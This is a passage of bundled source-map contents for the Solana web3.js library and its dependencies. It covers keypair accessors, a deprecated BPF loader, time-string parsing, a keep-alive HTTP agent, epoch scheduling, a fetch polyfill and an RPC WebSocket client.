key for this account\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._publicKey);\n }\n\n /**\n * The **unencrypted** secret key for this account. The first 32 bytes\n * is the private scalar and the last 32 bytes is the public key.\n * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/\n */\n get secretKey(): Buffer {\n return Buffer.concat([this._secretKey, this._publicKey], 64);\n }\n}\n","import {PublicKey} from './publickey';\n\nexport const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey(\n 'BPFLoader1111111111111111111111111111111111',\n);\n","import type {Buffer} from 'buffer';\n\nimport {PublicKey} from './publickey';\nimport {Loader} from './loader';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\n\n/**\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport const BPF_LOADER_PROGRAM_ID = new PublicKey(\n 'BPFLoader2111111111111111111111111111111111',\n);\n\n/**\n * Factory class for transactions to interact with a program loader\n *\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport class BpfLoader {\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return Loader.getMinNumSignatures(dataLength);\n }\n\n /**\n * Load a SBF program\n *\n * @param connection The connection to use\n * @param payer Account that will pay program loading fees\n * @param program Account to load the program into\n * @param elf The entire ELF containing the SBF program\n * @param loaderProgramId The program id of the BPF loader to use\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n elf: Buffer | Uint8Array | Array<number>,\n loaderProgramId: PublicKey,\n ): Promise<boolean> {\n return Loader.load(connection, payer, program, loaderProgramId, elf);\n }\n}\n","/**\n * Helpers.\n */\n\nvar s = 1000;\nvar m = s * 60;\nvar h = m * 60;\nvar d = h * 24;\nvar w = d * 7;\nvar y = d * 365.25;\n\n/**\n * Parse or format the given `val`.\n *\n * Options:\n *\n * - `long` verbose formatting [false]\n *\n * @param {String|Number} val\n * @param {Object} [options]\n * @throws {Error} throw an error if val is not a non-empty string or a number\n * @return {String|Number}\n * @api public\n */\n\nmodule.exports = function (val, options) {\n options = options || {};\n var type = typeof val;\n if (type === 'string' && val.length > 0) {\n return parse(val);\n } else if (type === 'number' && isFinite(val)) {\n return options.long ? fmtLong(val) : fmtShort(val);\n }\n throw new Error(\n 'val is not a non-empty string or a valid number. val=' +\n JSON.stringify(val)\n );\n};\n\n/**\n * Parse the given `str` and return milliseconds.\n *\n * @param {String} str\n * @return {Number}\n * @api private\n */\n\nfunction parse(str) {\n str = String(str);\n if (str.length > 100) {\n return;\n }\n var match = /^(-?(?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(\n str\n );\n if (!match) {\n return;\n }\n var n = parseFloat(match[1]);\n var type = (match[2] || 'ms').toLowerCase();\n switch (type) {\n case 'years':\n case 'year':\n case 'yrs':\n case 'yr':\n case 'y':\n return n * y;\n case 'weeks':\n case 'week':\n case 'w':\n return n * w;\n case 'days':\n case 'day':\n case 'd':\n return n * d;\n case 'hours':\n case 'hour':\n case 'hrs':\n case 'hr':\n case 'h':\n return n * h;\n case 'minutes':\n case 'minute':\n case 'mins':\n case 'min':\n case 'm':\n return n * m;\n case 'seconds':\n case 'second':\n case 'secs':\n case 'sec':\n case 's':\n return n * s;\n case 'milliseconds':\n case 'millisecond':\n case 'msecs':\n case 'msec':\n case 'ms':\n return n;\n default:\n return undefined;\n }\n}\n\n/**\n * Short format for `ms`.\n *\n * @param {Number} ms\n * @return {String}\n * @api private\n */\n\nfunction fmtShort(ms) {\n var msAbs = Math.abs(ms);\n if (msAbs >= d) {\n return Math.round(ms / d) + 'd';\n }\n if (msAbs >= h) {\n return Math.round(ms / h) + 'h';\n }\n if (msAbs >= m) {\n return Math.round(ms / m) + 'm';\n }\n if (msAbs >= s) {\n return Math.round(ms / s) + 's';\n }\n return ms + 'ms';\n}\n\n/**\n * Long format for `ms`.\n *\n * @param {Number} ms\n * @return {String}\n * @api private\n */\n\nfunction fmtLong(ms) {\n var msAbs = Math.abs(ms);\n if (msAbs >= d) {\n return plural(ms, msAbs, d, 'day');\n }\n if (msAbs >= h) {\n return plural(ms, msAbs, h, 'hour');\n }\n if (msAbs >= m) {\n return plural(ms, msAbs, m, 'minute');\n }\n if (msAbs >= s) {\n return plural(ms, msAbs, s, 'second');\n }\n return ms + ' ms';\n}\n\n/**\n * Pluralization helper.\n */\n\nfunction plural(ms, msAbs, n, name) {\n var isPlural = msAbs >= n * 1.5;\n return Math.round(ms / n) + ' ' + name + (isPlural ? 's' : '');\n}\n","/*!\n * humanize-ms - index.js\n * Copyright(c) 2014 dead_horse <dead_horse@qq.com>\n * MIT Licensed\n */\n\n'use strict';\n\n/**\n * Module dependencies.\n */\n\nvar util = require('util');\nvar ms = require('ms');\n\nmodule.exports = function (t) {\n if (typeof t === 'number') return t;\n var r = ms(t);\n if (r === undefined) {\n var err = new Error(util.format('humanize-ms(%j) result undefined', t));\n console.warn(err.stack);\n }\n return r;\n};\n","'use strict';\n\nmodule.exports = {\n // agent\n CURRENT_ID: Symbol('agentkeepalive#currentId'),\n CREATE_ID: Symbol('agentkeepalive#createId'),\n INIT_SOCKET: Symbol('agentkeepalive#initSocket'),\n CREATE_HTTPS_CONNECTION: Symbol('agentkeepalive#createHttpsConnection'),\n // socket\n SOCKET_CREATED_TIME: Symbol('agentkeepalive#socketCreatedTime'),\n SOCKET_NAME: Symbol('agentkeepalive#socketName'),\n SOCKET_REQUEST_COUNT: Symbol('agentkeepalive#socketRequestCount'),\n SOCKET_REQUEST_FINISHED_COUNT: Symbol('agentkeepalive#socketRequestFinishedCount'),\n};\n","'use strict';\n\nconst OriginalAgent = require('http').Agent;\nconst ms = require('humanize-ms');\nconst debug = require('util').debuglog('agentkeepalive');\nconst {\n INIT_SOCKET,\n CURRENT_ID,\n CREATE_ID,\n SOCKET_CREATED_TIME,\n SOCKET_NAME,\n SOCKET_REQUEST_COUNT,\n SOCKET_REQUEST_FINISHED_COUNT,\n} = require('./constants');\n\n// OriginalAgent come from\n// - https://github.com/nodejs/node/blob/v8.12.0/lib/_http_agent.js\n// - https://github.com/nodejs/node/blob/v10.12.0/lib/_http_agent.js\n\n// node <= 10\nlet defaultTimeoutListenerCount = 1;\nconst majorVersion = parseInt(process.version.split('.', 1)[0].substring(1));\nif (majorVersion >= 11 && majorVersion <= 12) {\n defaultTimeoutListenerCount = 2;\n} else if (majorVersion >= 13) {\n defaultTimeoutListenerCount = 3;\n}\n\nfunction deprecate(message) {\n console.log('[agentkeepalive:deprecated] %s', message);\n}\n\nclass Agent extends OriginalAgent {\n constructor(options) {\n options = options || {};\n options.keepAlive = options.keepAlive !== false;\n // default is keep-alive and 4s free socket timeout\n // see https://medium.com/ssense-tech/reduce-networking-errors-in-nodejs-23b4eb9f2d83\n if (options.freeSocketTimeout === undefined) {\n options.freeSocketTimeout = 4000;\n }\n // Legacy API: keepAliveTimeout should be rename to `freeSocketTimeout`\n if (options.keepAliveTimeout) {\n deprecate('options.keepAliveTimeout is deprecated, please use options.freeSocketTimeout instead');\n options.freeSocketTimeout = options.keepAliveTimeout;\n delete options.keepAliveTimeout;\n }\n // Legacy API: freeSocketKeepAliveTimeout should be rename to `freeSocketTimeout`\n if (options.freeSocketKeepAliveTimeout) {\n deprecate('options.freeSocketKeepAliveTimeout is deprecated, please use options.freeSocketTimeout instead');\n options.freeSocketTimeout = options.freeSocketKeepAliveTimeout;\n delete options.freeSocketKeepAliveTimeout;\n }\n\n // Sets the socket to timeout after timeout milliseconds of inactivity on the socket.\n // By default is double free socket timeout.\n if (options.timeout === undefined) {\n // make sure socket default inactivity timeout >= 8s\n options.timeout = Math.max(options.freeSocketTimeout * 2, 8000);\n }\n\n // support humanize format\n options.timeout = ms(options.timeout);\n options.freeSocketTimeout = ms(options.freeSocketTimeout);\n options.socketActiveTTL = options.socketActiveTTL ? ms(options.socketActiveTTL) : 0;\n\n super(options);\n\n this[CURRENT_ID] = 0;\n\n // create socket success counter\n this.createSocketCount = 0;\n this.createSocketCountLastCheck = 0;\n\n this.createSocketErrorCount = 0;\n this.createSocketErrorCountLastCheck = 0;\n\n this.closeSocketCount = 0;\n this.closeSocketCountLastCheck = 0;\n\n // socket error event count\n this.errorSocketCount = 0;\n this.errorSocketCountLastCheck = 0;\n\n // request finished counter\n this.requestCount = 0;\n this.requestCountLastCheck = 0;\n\n // including free socket timeout counter\n this.timeoutSocketCount = 0;\n this.timeoutSocketCountLastCheck = 0;\n\n this.on('free', socket => {\n // https://github.com/nodejs/node/pull/32000\n // Node.js native agent will check socket timeout eqs agent.options.timeout.\n // Use the ttl or freeSocketTimeout to overwrite.\n const timeout = this.calcSocketTimeout(socket);\n if (timeout > 0 && socket.timeout !== timeout) {\n socket.setTimeout(timeout);\n }\n });\n }\n\n get freeSocketKeepAliveTimeout() {\n deprecate('agent.freeSocketKeepAliveTimeout is deprecated, please use agent.options.freeSocketTimeout instead');\n return this.options.freeSocketTimeout;\n }\n\n get timeout() {\n deprecate('agent.timeout is deprecated, please use agent.options.timeout instead');\n return this.options.timeout;\n }\n\n get socketActiveTTL() {\n deprecate('agent.socketActiveTTL is deprecated, please use agent.options.socketActiveTTL instead');\n return this.options.socketActiveTTL;\n }\n\n calcSocketTimeout(socket) {\n /**\n * return <= 0: should free socket\n * return > 0: should update socket timeout\n * return undefined: not find custom timeout\n */\n let freeSocketTimeout = this.options.freeSocketTimeout;\n const socketActiveTTL = this.options.socketActiveTTL;\n if (socketActiveTTL) {\n // check socketActiveTTL\n const aliveTime = Date.now() - socket[SOCKET_CREATED_TIME];\n const diff = socketActiveTTL - aliveTime;\n if (diff <= 0) {\n return diff;\n }\n if (freeSocketTimeout && diff < freeSocketTimeout) {\n freeSocketTimeout = diff;\n }\n }\n // set freeSocketTimeout\n if (freeSocketTimeout) {\n // set free keepalive timer\n // try to use socket custom freeSocketTimeout first, support headers['keep-alive']\n // https://github.com/node-modules/urllib/blob/b76053020923f4d99a1c93cf2e16e0c5ba10bacf/lib/urllib.js#L498\n const customFreeSocketTimeout = socket.freeSocketTimeout || socket.freeSocketKeepAliveTimeout;\n return customFreeSocketTimeout || freeSocketTimeout;\n }\n }\n\n keepSocketAlive(socket) {\n const result = super.keepSocketAlive(socket);\n // should not keepAlive, do nothing\n if (!result) return result;\n\n const customTimeout = this.calcSocketTimeout(socket);\n if (typeof customTimeout === 'undefined') {\n return true;\n }\n if (customTimeout <= 0) {\n debug('%s(requests: %s, finished: %s) free but need to destroy by TTL, request count %s, diff is %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT], customTimeout);\n return false;\n }\n if (socket.timeout !== customTimeout) {\n socket.setTimeout(customTimeout);\n }\n return true;\n }\n\n // only call on addRequest\n reuseSocket(...args) {\n // reuseSocket(socket, req)\n super.reuseSocket(...args);\n const socket = args[0];\n const req = args[1];\n req.reusedSocket = true;\n const agentTimeout = this.options.timeout;\n if (getSocketTimeout(socket) !== agentTimeout) {\n // reset timeout before use\n socket.setTimeout(agentTimeout);\n debug('%s reset timeout to %sms', socket[SOCKET_NAME], agentTimeout);\n }\n socket[SOCKET_REQUEST_COUNT]++;\n debug('%s(requests: %s, finished: %s) reuse on addRequest, timeout %sms',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT],\n getSocketTimeout(socket));\n }\n\n [CREATE_ID]() {\n const id = this[CURRENT_ID]++;\n if (this[CURRENT_ID] === Number.MAX_SAFE_INTEGER) this[CURRENT_ID] = 0;\n return id;\n }\n\n [INIT_SOCKET](socket, options) {\n // bugfix here.\n // https on node 8, 10 won't set agent.options.timeout by default\n // TODO: need to fix on node itself\n if (options.timeout) {\n const timeout = getSocketTimeout(socket);\n if (!timeout) {\n socket.setTimeout(options.timeout);\n }\n }\n\n if (this.options.keepAlive) {\n // Disable Nagle's algorithm: http://blog.caustik.com/2012/04/08/scaling-node-js-to-100k-concurrent-connections/\n // https://fengmk2.com/benchmark/nagle-algorithm-delayed-ack-mock.html\n socket.setNoDelay(true);\n }\n this.createSocketCount++;\n if (this.options.socketActiveTTL) {\n socket[SOCKET_CREATED_TIME] = Date.now();\n }\n // don't show the hole '-----BEGIN CERTIFICATE----' key string\n socket[SOCKET_NAME] = `sock[${this[CREATE_ID]()}#${options._agentKey}]`.split('-----BEGIN', 1)[0];\n socket[SOCKET_REQUEST_COUNT] = 1;\n socket[SOCKET_REQUEST_FINISHED_COUNT] = 0;\n installListeners(this, socket, options);\n }\n\n createConnection(options, oncreate) {\n let called = false;\n const onNewCreate = (err, socket) => {\n if (called) return;\n called = true;\n\n if (err) {\n this.createSocketErrorCount++;\n return oncreate(err);\n }\n this[INIT_SOCKET](socket, options);\n oncreate(err, socket);\n };\n\n const newSocket = super.createConnection(options, onNewCreate);\n if (newSocket) onNewCreate(null, newSocket);\n return newSocket;\n }\n\n get statusChanged() {\n const changed = this.createSocketCount !== this.createSocketCountLastCheck ||\n this.createSocketErrorCount !== this.createSocketErrorCountLastCheck ||\n this.closeSocketCount !== this.closeSocketCountLastCheck ||\n this.errorSocketCount !== this.errorSocketCountLastCheck ||\n this.timeoutSocketCount !== this.timeoutSocketCountLastCheck ||\n this.requestCount !== this.requestCountLastCheck;\n if (changed) {\n this.createSocketCountLastCheck = this.createSocketCount;\n this.createSocketErrorCountLastCheck = this.createSocketErrorCount;\n this.closeSocketCountLastCheck = this.closeSocketCount;\n this.errorSocketCountLastCheck = this.errorSocketCount;\n this.timeoutSocketCountLastCheck = this.timeoutSocketCount;\n this.requestCountLastCheck = this.requestCount;\n }\n return changed;\n }\n\n getCurrentStatus() {\n return {\n createSocketCount: this.createSocketCount,\n createSocketErrorCount: this.createSocketErrorCount,\n closeSocketCount: this.closeSocketCount,\n errorSocketCount: this.errorSocketCount,\n timeoutSocketCount: this.timeoutSocketCount,\n requestCount: this.requestCount,\n freeSockets: inspect(this.freeSockets),\n sockets: inspect(this.sockets),\n requests: inspect(this.requests),\n };\n }\n}\n\n// node 8 don't has timeout attribute on socket\n// https://github.com/nodejs/node/pull/21204/files#diff-e6ef024c3775d787c38487a6309e491dR408\nfunction getSocketTimeout(socket) {\n return socket.timeout || socket._idleTimeout;\n}\n\nfunction installListeners(agent, socket, options) {\n debug('%s create, timeout %sms', socket[SOCKET_NAME], getSocketTimeout(socket));\n\n // listener socket events: close, timeout, error, free\n function onFree() {\n // create and socket.emit('free') logic\n // https://github.com/nodejs/node/blob/master/lib/_http_agent.js#L311\n // no req on the socket, it should be the new socket\n if (!socket._httpMessage && socket[SOCKET_REQUEST_COUNT] === 1) return;\n\n socket[SOCKET_REQUEST_FINISHED_COUNT]++;\n agent.requestCount++;\n debug('%s(requests: %s, finished: %s) free',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT]);\n\n // should reuse on pedding requests?\n const name = agent.getName(options);\n if (socket.writable && agent.requests[name] && agent.requests[name].length) {\n // will be reuse on agent free listener\n socket[SOCKET_REQUEST_COUNT]++;\n debug('%s(requests: %s, finished: %s) will be reuse on agent free event',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT]);\n }\n }\n socket.on('free', onFree);\n\n function onClose(isError) {\n debug('%s(requests: %s, finished: %s) close, isError: %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT], isError);\n agent.closeSocketCount++;\n }\n socket.on('close', onClose);\n\n // start socket timeout handler\n function onTimeout() {\n // onTimeout and emitRequestTimeout(_http_client.js)\n // https://github.com/nodejs/node/blob/v12.x/lib/_http_client.js#L711\n const listenerCount = socket.listeners('timeout').length;\n // node <= 10, default listenerCount is 1, onTimeout\n // 11 < node <= 12, default listenerCount is 2, onTimeout and emitRequestTimeout\n // node >= 13, default listenerCount is 3, onTimeout,\n // onTimeout(https://github.com/nodejs/node/pull/32000/files#diff-5f7fb0850412c6be189faeddea6c5359R333)\n // and emitRequestTimeout\n const timeout = getSocketTimeout(socket);\n const req = socket._httpMessage;\n const reqTimeoutListenerCount = req && req.listeners('timeout').length || 0;\n debug('%s(requests: %s, finished: %s) timeout after %sms, listeners %s, defaultTimeoutListenerCount %s, hasHttpRequest %s, HttpRequest timeoutListenerCount %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT],\n timeout, listenerCount, defaultTimeoutListenerCount, !!req, reqTimeoutListenerCount);\n if (debug.enabled) {\n debug('timeout listeners: %s', socket.listeners('timeout').map(f => f.name).join(', '));\n }\n agent.timeoutSocketCount++;\n const name = agent.getName(options);\n if (agent.freeSockets[name] && agent.freeSockets[name].indexOf(socket) !== -1) {\n // free socket timeout, destroy quietly\n socket.destroy();\n // Remove it from freeSockets list immediately to prevent new requests\n // from being sent through this socket.\n agent.removeSocket(socket, options);\n debug('%s is free, destroy quietly', socket[SOCKET_NAME]);\n } else {\n // if there is no any request socket timeout handler,\n // agent need to handle socket timeout itself.\n //\n // custom request socket timeout handle logic must follow these rules:\n // 1. Destroy socket first\n // 2. Must emit socket 'agentRemove' event tell agent remove socket\n // from freeSockets list immediately.\n // Otherise you may be get 'socket hang up' error when reuse\n // free socket and timeout happen in the same time.\n if (reqTimeoutListenerCount === 0) {\n const error = new Error('Socket timeout');\n error.code = 'ERR_SOCKET_TIMEOUT';\n error.timeout = timeout;\n // must manually call socket.end() or socket.destroy() to end the connection.\n // https://nodejs.org/dist/latest-v10.x/docs/api/net.html#net_socket_settimeout_timeout_callback\n socket.destroy(error);\n agent.removeSocket(socket, options);\n debug('%s destroy with timeout error', socket[SOCKET_NAME]);\n }\n }\n }\n socket.on('timeout', onTimeout);\n\n function onError(err) {\n const listenerCount = socket.listeners('error').length;\n debug('%s(requests: %s, finished: %s) error: %s, listenerCount: %s',\n socket[SOCKET_NAME], socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT],\n err, listenerCount);\n agent.errorSocketCount++;\n if (listenerCount === 1) {\n // if socket don't contain error event handler, don't catch it, emit it again\n debug('%s emit uncaught error event', socket[SOCKET_NAME]);\n socket.removeListener('error', onError);\n socket.emit('error', err);\n }\n }\n socket.on('error', onError);\n\n function onRemove() {\n debug('%s(requests: %s, finished: %s) agentRemove',\n socket[SOCKET_NAME],\n socket[SOCKET_REQUEST_COUNT], socket[SOCKET_REQUEST_FINISHED_COUNT]);\n // We need this function for cases like HTTP 'upgrade'\n // (defined by WebSockets) where we need to remove a socket from the\n // pool because it'll be locked up indefinitely\n socket.removeListener('close', onClose);\n socket.removeListener('error', onError);\n socket.removeListener('free', onFree);\n socket.removeListener('timeout', onTimeout);\n socket.removeListener('agentRemove', onRemove);\n }\n socket.on('agentRemove', onRemove);\n}\n\nmodule.exports = Agent;\n\nfunction inspect(obj) {\n const res = {};\n for (const key in obj) {\n res[key] = obj[key].length;\n }\n return res;\n}\n","'use strict';\n\nconst OriginalHttpsAgent = require('https').Agent;\nconst HttpAgent = require('./agent');\nconst {\n INIT_SOCKET,\n CREATE_HTTPS_CONNECTION,\n} = require('./constants');\n\nclass HttpsAgent extends HttpAgent {\n constructor(options) {\n super(options);\n\n this.defaultPort = 443;\n this.protocol = 'https:';\n this.maxCachedSessions = this.options.maxCachedSessions;\n /* istanbul ignore next */\n if (this.maxCachedSessions === undefined) {\n this.maxCachedSessions = 100;\n }\n\n this._sessionCache = {\n map: {},\n list: [],\n };\n }\n\n createConnection(options, oncreate) {\n const socket = this[CREATE_HTTPS_CONNECTION](options, oncreate);\n this[INIT_SOCKET](socket, options);\n return socket;\n }\n}\n\n// https://github.com/nodejs/node/blob/master/lib/https.js#L89\nHttpsAgent.prototype[CREATE_HTTPS_CONNECTION] = OriginalHttpsAgent.prototype.createConnection;\n\n[\n 'getName',\n '_getSession',\n '_cacheSession',\n // https://github.com/nodejs/node/pull/4982\n '_evictSession',\n].forEach(function(method) {\n /* istanbul ignore next */\n if (typeof OriginalHttpsAgent.prototype[method] === 'function') {\n HttpsAgent.prototype[method] = OriginalHttpsAgent.prototype[method];\n }\n});\n\nmodule.exports = HttpsAgent;\n","'use strict';\n\nmodule.exports = require('./lib/agent');\nmodule.exports.HttpsAgent = require('./lib/https_agent');\nmodule.exports.constants = require('./lib/constants');\n","var objToString = Object.prototype.toString;\nvar objKeys = Object.keys || function(obj) {\n\t\tvar keys = [];\n\t\tfor (var name in obj) {\n\t\t\tkeys.push(name);\n\t\t}\n\t\treturn keys;\n\t};\n\nfunction stringify(val, isArrayProp) {\n\tvar i, max, str, keys, key, propVal, toStr;\n\tif (val === true) {\n\t\treturn \"true\";\n\t}\n\tif (val === false) {\n\t\treturn \"false\";\n\t}\n\tswitch (typeof val) {\n\t\tcase \"object\":\n\t\t\tif (val === null) {\n\t\t\t\treturn null;\n\t\t\t} else if (val.toJSON && typeof val.toJSON === \"function\") {\n\t\t\t\treturn stringify(val.toJSON(), isArrayProp);\n\t\t\t} else {\n\t\t\t\ttoStr = objToString.call(val);\n\t\t\t\tif (toStr === \"[object Array]\") {\n\t\t\t\t\tstr = '[';\n\t\t\t\t\tmax = val.length - 1;\n\t\t\t\t\tfor(i = 0; i < max; i++) {\n\t\t\t\t\t\tstr += stringify(val[i], true) + ',';\n\t\t\t\t\t}\n\t\t\t\t\tif (max > -1) {\n\t\t\t\t\t\tstr += stringify(val[i], true);\n\t\t\t\t\t}\n\t\t\t\t\treturn str + ']';\n\t\t\t\t} else if (toStr === \"[object Object]\") {\n\t\t\t\t\t// only object is left\n\t\t\t\t\tkeys = objKeys(val).sort();\n\t\t\t\t\tmax = keys.length;\n\t\t\t\t\tstr = \"\";\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile (i < max) {\n\t\t\t\t\t\tkey = keys[i];\n\t\t\t\t\t\tpropVal = stringify(val[key], false);\n\t\t\t\t\t\tif (propVal !== undefined) {\n\t\t\t\t\t\t\tif (str) {\n\t\t\t\t\t\t\t\tstr += ',';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tstr += JSON.stringify(key) + ':' + propVal;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\treturn '{' + str + '}';\n\t\t\t\t} else {\n\t\t\t\t\treturn JSON.stringify(val);\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"function\":\n\t\tcase \"undefined\":\n\t\t\treturn isArrayProp ? null : undefined;\n\t\tcase \"string\":\n\t\t\treturn JSON.stringify(val);\n\t\tdefault:\n\t\t\treturn isFinite(val) ? val : null;\n\t}\n}\n\nmodule.exports = function(val) {\n\tvar returnVal = stringify(val, false);\n\tif (returnVal !== undefined) {\n\t\treturn ''+ returnVal;\n\t}\n};\n","const MINIMUM_SLOT_PER_EPOCH = 32;\n\n// Returns the number of trailing zeros in the binary representation of self.\nfunction trailingZeros(n: number) {\n let trailingZeros = 0;\n while (n > 1) {\n n /= 2;\n trailingZeros++;\n }\n return trailingZeros;\n}\n\n// Returns the smallest power of two greater than or equal to n\nfunction nextPowerOfTwo(n: number) {\n if (n === 0) return 1;\n n--;\n n |= n >> 1;\n n |= n >> 2;\n n |= n >> 4;\n n |= n >> 8;\n n |= n >> 16;\n n |= n >> 32;\n return n + 1;\n}\n\n/**\n * Epoch schedule\n * (see https://docs.solana.com/terminology#epoch)\n * Can be retrieved with the {@link Connection.getEpochSchedule} method\n */\nexport class EpochSchedule {\n /** The maximum number of slots in each epoch */\n public slotsPerEpoch: number;\n /** The number of slots before beginning of an epoch to calculate a leader schedule for that epoch */\n public leaderScheduleSlotOffset: number;\n /** Indicates whether epochs start short and grow */\n public warmup: boolean;\n /** The first epoch with `slotsPerEpoch` slots */\n public firstNormalEpoch: number;\n /** The first slot of `firstNormalEpoch` */\n public firstNormalSlot: number;\n\n constructor(\n slotsPerEpoch: number,\n leaderScheduleSlotOffset: number,\n warmup: boolean,\n firstNormalEpoch: number,\n firstNormalSlot: number,\n ) {\n this.slotsPerEpoch = slotsPerEpoch;\n this.leaderScheduleSlotOffset = leaderScheduleSlotOffset;\n this.warmup = warmup;\n this.firstNormalEpoch = firstNormalEpoch;\n this.firstNormalSlot = firstNormalSlot;\n }\n\n getEpoch(slot: number): number {\n return this.getEpochAndSlotIndex(slot)[0];\n }\n\n getEpochAndSlotIndex(slot: number): [number, number] {\n if (slot < this.firstNormalSlot) {\n const epoch =\n trailingZeros(nextPowerOfTwo(slot + MINIMUM_SLOT_PER_EPOCH + 1)) -\n trailingZeros(MINIMUM_SLOT_PER_EPOCH) -\n 1;\n\n const epochLen = this.getSlotsInEpoch(epoch);\n const slotIndex = slot - (epochLen - MINIMUM_SLOT_PER_EPOCH);\n return [epoch, slotIndex];\n } else {\n const normalSlotIndex = slot - this.firstNormalSlot;\n const normalEpochIndex = Math.floor(normalSlotIndex / this.slotsPerEpoch);\n const epoch = this.firstNormalEpoch + normalEpochIndex;\n const slotIndex = normalSlotIndex % this.slotsPerEpoch;\n return [epoch, slotIndex];\n }\n }\n\n getFirstSlotInEpoch(epoch: number): number {\n if (epoch <= this.firstNormalEpoch) {\n return (Math.pow(2, epoch) - 1) * MINIMUM_SLOT_PER_EPOCH;\n } else {\n return (\n (epoch - this.firstNormalEpoch) * this.slotsPerEpoch +\n this.firstNormalSlot\n );\n }\n }\n\n getLastSlotInEpoch(epoch: number): number {\n return this.getFirstSlotInEpoch(epoch) + this.getSlotsInEpoch(epoch) - 1;\n }\n\n getSlotsInEpoch(epoch: number) {\n if (epoch < this.firstNormalEpoch) {\n return Math.pow(2, epoch + trailingZeros(MINIMUM_SLOT_PER_EPOCH));\n } else {\n return this.slotsPerEpoch;\n }\n }\n}\n","import * as nodeFetch from 'node-fetch';\n\nexport default (typeof globalThis.fetch === 'function'\n ? // The Fetch API is supported experimentally in Node 17.5+ and natively in Node 18+.\n globalThis.fetch\n : // Otherwise use the polyfill.\n async function (\n input: nodeFetch.RequestInfo,\n init?: nodeFetch.RequestInit,\n ): Promise<nodeFetch.Response> {\n const processedInput =\n typeof input === 'string' && input.slice(0, 2) === '//'\n ? 'https:' + input\n : input;\n return await nodeFetch.default(processedInput, init);\n }) as typeof globalThis.fetch;","import {\n CommonClient,\n ICommonWebSocket,\n IWSClientAdditionalOptions,\n NodeWebSocketType,\n NodeWebSocketTypeOptions,\n WebSocket as createRpc,\n} from 'rpc-websockets';\n\ninterface IHasReadyState {\n readyState: WebSocket['readyState'];\n}\n\nexport default class RpcWebSocketClient extends CommonClient {\n private underlyingSocket: IHasReadyState | undefined;\n constructor(\n address?: string,\n options?: IWSClientAdditionalOptions & NodeWebSocketTypeOptions,\n generate_request_id?: (\n method: string,\n params: object | Array<any>,\n ) => number,\n ) {\n const webSocketFactory = (url: string) => {\n const rpc = createRpc(url, {\n autoconnect: true,\n max_reconnects: 5,\n reconnect: true,\n reconnect_interval: 1000,\n ...options,\n });\n if ('socket' in rpc) {\n this.underlyingSocket = rpc.socket as ReturnType<typeof createRpc>;\n } else {\n this.underlyingSocket = rpc as NodeWebSocketType;\n }\n return rpc as ICommonWebSocket;\n };\n super(webSocketFactory, address, options, generate_request_id);\n }\n call(\n ...args: Parameters<CommonClient['call']>\n ): ReturnType<CommonClient['call']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.call(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to call a JSON-RPC method `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n notify(\n ...args: Parameters<CommonClient['notify']>\n ): ReturnType<CommonClient['notify']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.notify(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to send a JSON-RPC notification `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nexport interface IAccountStateData {\n readonly typeIndex: number;\n}\n\n/**\n * @internal\n */\nexport type AccountType<TInputData extends IAccountStateData> = {\n /** The account type index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Decode account data buffer using an AccountType\n * @internal\n */\nexport function decodeData<TAccountStateData extends IAccountStateData>(\n type: AccountType<TAccountStateData>,\n data: Uint8Array,\n): TAccountStateData {\n let decoded: TAccountStateData;\n try {\n decoded = type.layout.decode(data);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (decoded.typeIndex !== type.index) {\n throw new Error(\n `invalid account data; account type mismatch ${decoded.typeIndex} != ${type.index}`,\n );\n }\n\n return decoded;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport assert from '../../utils/assert';\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport {u64} from '../../utils/bigint';\nimport {decodeData} from '../../account-data';\n\nexport type AddressLookupTableState = {\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedSlotStartIndex: number;\n authority?: PublicKey;\n addresses: Array<PublicKey>;\n};\n\nexport type AddressLookupTableAccountArgs = {\n key: PublicKey;\n state: AddressLookupTableState;\n};\n\n/// The serialized size of lookup table metadata\nconst 